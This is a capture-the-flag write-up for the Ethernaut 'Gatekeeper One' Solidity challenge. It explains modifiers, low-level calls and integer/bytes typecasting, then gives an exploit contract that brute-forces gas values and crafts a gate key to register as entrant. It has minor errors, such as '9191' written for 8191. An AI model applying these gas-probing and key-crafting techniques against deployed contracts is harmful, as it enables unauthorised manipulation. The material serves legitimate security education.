Writeup for Gatekeeper One
- Hello h4ck3r, welcome to the world of smart contract hacking. Solving the challenges from Ethernaut will help you understand Solidity better. For each challenge, a contract will be deployed, and an instance will be provided. Your task is to interact with the contract and exploit its vulnerabilities. Don’t worry if you are new to Solidity and have never deployed a smart contract. You can learn how to deploy a contract using Remix here.
Challenge Description
Make it past the gatekeeper and register as an entrant to pass this level.
Contract Explanation
If you understand the contract, you can move to the exploit part. If you are a beginner, please go through the Contract Explanation as well. It will help you understand Solidity better.
Click to view source contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract GatekeeperOne {
5 address public entrant;
6
7 modifier gateOne() {
8 require(msg.sender != tx.origin);
9 _;
10 }
11
12 modifier gateTwo() {
13 require(gasleft() % 8191 == 0);
14 _;
15 }
16
17 modifier gateThree(bytes8 _gateKey) {
18 require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
19 require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
20 require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
21 _;
22 }
23
24 function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
25 entrant = tx.origin;
26 return true;
27 }
28}
The contract has a state variable named entrant
. The state variable entrant
is a address type.
Modifiers in Solidity are special functions that modify the behavior of other functions.
Click to Check the below example
1contract A{
2 address owner;
3 constructor(){
4 owner=msg.sender;
5 }
6
7 function hello() public view returns (string memory){
8 require(msg.sender==owner,"Not Owner");
9 return "hello";
10 }
11
12 function hi() public view returns (string memory){
13 require(msg.sender==owner,"Not Owner");
14 return "hi";
15 }
16}
17
18
19contract B{
20 address owner;
21 constructor(){
22 owner=msg.sender;
23 }
24
25 modifier onlyOwner(){
26 require(msg.sender==owner,"Not Owner");
27 _;
28 }
29
30 function hello() public view returns (string memory) onlyOwner{
31 return "hello";
32 }
33
34 function hi() public view returns (string memory) onlyOwner{
35 return "hi";
36 }
37}
When we use modifier
to a function, the function will first implement the modifier
logic and then implement the function logic. By using modifiers we can write more optimized code.
1modifier gateOne() {
2 require(msg.sender != tx.origin);
3 _;
4}
The above is a modifier named gateOne()
which checks whether tx.origin
is equal to msg.sender
or not.
1modifier gateTwo() {
2 require(gasleft() % 8191 == 0);
3 _;
4}
The above is a modifier named gateTwo()
. It checks if gasleft()%8191
is zero or not. gasleft()
is an inbuilt function in the solidity that returns the amount of gas left during a contract call. In this case when the gateTwo() is called if gasleft%8191==0
then the modifier will be passed.
1
2modifier gateThree(bytes8 _gateKey) {
3 require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
4 require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
5 require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
6 _;
7}
1function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
2 entrant = tx.origin;
3 return true;
4}
The above function takes a bytes8 argument as input. It executes all the modifiers
one by one then if all the conditions in modifiers
are passed then it will set entrant to tx.origin
and returns true
.
Key Concepts to Understand
To exploit this contract we need to understand some key concepts in solidity.
When we interact with contracts using low-level call function it won’t revert even if the calls failed. It will just return true or false.
Click to check the below example
1
2// SPDX-License-Identifier: MIT
3pragma solidity ^0.8.0;
4
5contract contract_One{
6 function Wish(uint8 _num)public pure returns(string memory){
7 if(_num%2==0){
8 return "hello";
9 }
10 else{
11 revert();
12 }
13
14 }
15}
16
17contract contract_two{
18 bool public first_call;
19 bool public second_call;
20 bytes4 private constant FUNC_SELECTOR = bytes4(keccak256("Wish(uint8)"));
21
22 function call_Wish(address _wish)public{
23 (bool a,)=_wish.call(abi.encodeWithSelector(FUNC_SELECTOR,2));
24 (bool b,)=_wish.call(abi.encodeWithSelector(FUNC_SELECTOR,1));
25 first_call=a;
26 second_call=b;
27 }
28}
First deploy contract_one
then deploy contract_two
. When we invoke call_Wish()
in contract_two
the function will make two level calls to contract_one calling the function Wish()
. The first will be successful but the second call will revert because we are passing odd number. Wish()
returns true “hello” only when passing even numbers. If we pass an odd number it will revert.
Even though the inner second call is reverted it is not reverting the main call (call_Wish). This behavior is only due to low-level call
. When we use low-level call
if the call is successful it returns true
else it will return false
.
One more key concept to learn is how typecasting works.
In Solidity, when a uint
with a larger number of bits is converted to a type with a smaller number of bits, the first bits/bytes of larger value will be truncated. Same way when a bytes with a larger number of bytes
is converted to a smaller number of bytes the last bits/bytes will be truncated.
Click to check the below example
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4contract Type_Casting{
5 uint96 Number_1=1548647896516548945453658536;
6 bytes12 Bytes_1=bytes12((Number_1));
7 function uint96_to_uint48()public view returns(bytes32 before_conversion,bytes32 after_conversion,uint48 converted_val){
8 before_conversion=bytes32(uint256(Number_1));
9 converted_val=uint48(Number_1);
10 after_conversion=bytes32(uint256(converted_val));
11 }
12
13 function bytes12_to_bytes6()public view returns(bytes32 before_conversion,bytes6 converted_val,bytes32 after_conversion){
14 before_conversion=bytes32(Bytes_1);
15 converted_val=bytes6(Bytes_1);
16 after_conversion=bytes32(converted_val);
17 }
18
19}
Make sure you try out this in the remix. When we call the functions uint96_to_uint48()
and bytes12_to_bytes6()
the output will be as follows.
If we observe the data of bytes12_to_bytes6()
when bytes12 is converted to bytes6 only the first 6 bytes are taken. If we observe the uint96_to_uint48()
when uint96 is converted to uint48 only the last 48 bits (6 bytes) are taken. You can find the difference by observing before_conversion
and after_conversion
. In the uint96_to_uint48()
you can verify the converted_val
by converting 0x0000000000000000000000000000000000000000000000000000f750833e31a8
into decimal.
Exploit
Our goal is to call the enter()
function and pass all the gates (modifiers).
1modifier gateOne() {
2 require(msg.sender != tx.origin);
3 _;
4}
We can pass the gateOne()
by interacting with the contract using our exploit contract. When we interact with GatekeeperOne using our exploit contract msg.sender
will be our exploit contract address and tx.origin
will be the address of the Externally Owned Account that is calling the exploit contract.
If you don’t know what is tx.origin
and msg.sender
refer to the Telephone challenge. Chlick here to open the WriteUp.
1modifier gateTwo() {
2 require(gasleft() % 8191 == 0);
3 _;
4}
It is checking if gasleft()%9191==0
or not. gasleft()
will return the remaining gas after executing the gasleft()
. We can pass this modifier by making some 100 or 200 low-level calls
to GatekeeperOne
enter()
function with different gas values. The low-level call function will return true only if the call is a success. Using this as an advantage we can pass this modifier.
1modifier gateThree(bytes8 _gateKey) {
2 require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
3 require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
4 require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
5 _;
6}
Now let’s assume our key as B1 B2 B3 B4 B5 B6 B7 B8
where each B represents a byte. Since the key is 8 bytes there are 8 B’s.
In the first condition, uint32(uint64(_gateKey))
will return B5 B6 B7 B8
and uint16(uint64(_gateKey))
will return B7 B8
. According to the condition, the bytes are B5 B6 B7 B8
and B7 B8
. This condition will only be satisfied if B5
and B6
are both zeros. Therefore, we can conclude that the last four bytes of our key will be 00 00 B7 B8
.
In the second condition uint32(uint64(_gateKey)) will return B5 B6 B7 B8
and uint64(_gateKey) will return B1 B2 B3 B4 B5 B6 B7 B8
. The condition will be satisfied only if B1 B2 B3 B4
are non-zeros. From this, we can conclude that the key will be B1 B2 B3 B4 00 00 B7 B8
.
In the third condition uint32(uint64(_gateKey)) will return B5 B6 B7 B8
and uint16(uint160(tx.origin)) will return last two bytes of the address. Suppose if our address is 0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5
it will return 0xAfe5
. Assuming this as our wallet address we can conclude that our key will be B1 B2 B3 B4 00 00 Af e5
.
The only restriction for B1 B2 B3 B4
is it shouldn’t be zero. That means this can be of any value. Now our key will be aa bb cc dd 00 00 Af e5
which is 0xaabbccdd0000Afe5
.
Don’t forget to change the last two bytes to your wallet address.
Click to view Exploit contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4import {GatekeeperOne} from "./GatekeeperOne.sol";
5
6
7contract ExploitGatekeeperOne{
8 GatekeeperOne Gate1;
9 uint256 gasAmount=81910;
10 constructor(address _addr){
11 Gate1=GatekeeperOne(_addr);
12 }
13 function Exploit()public{
14 bytes8 Key=0xaabbccdd0000Afe5;
15 for(uint256 i=0;i<500;i++){
16 (bool success,)=address(Gate1).call{gas:gasAmount+i}(abi.encodeWithSignature("enter(bytes8)",Key));
17 if(success){
18 break;
19 }
20 }
21 require(Gate1.entrant()==0x95222290DD7278Aa3Ddd389Cc1E1d165CC4BAfe5);
22 }
23}
gasAmount
is a multiple of 8191
because i
will be the initial gas usage and after i
amount of gas. Once the initial gas usage (calls before Gatetwo) is done the gasleft() will be multiple of 8191 and hence gasleft()%8191
will return 0
Once you call the Exploit()
function the challenge will be solved. But before calling make sure you change your address in the ExploitGatekeeperOne
contract.
Key Takeaways
We have learned about how typecasting works and we discussed how low-level call work. Refer this part if you forgot these.
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments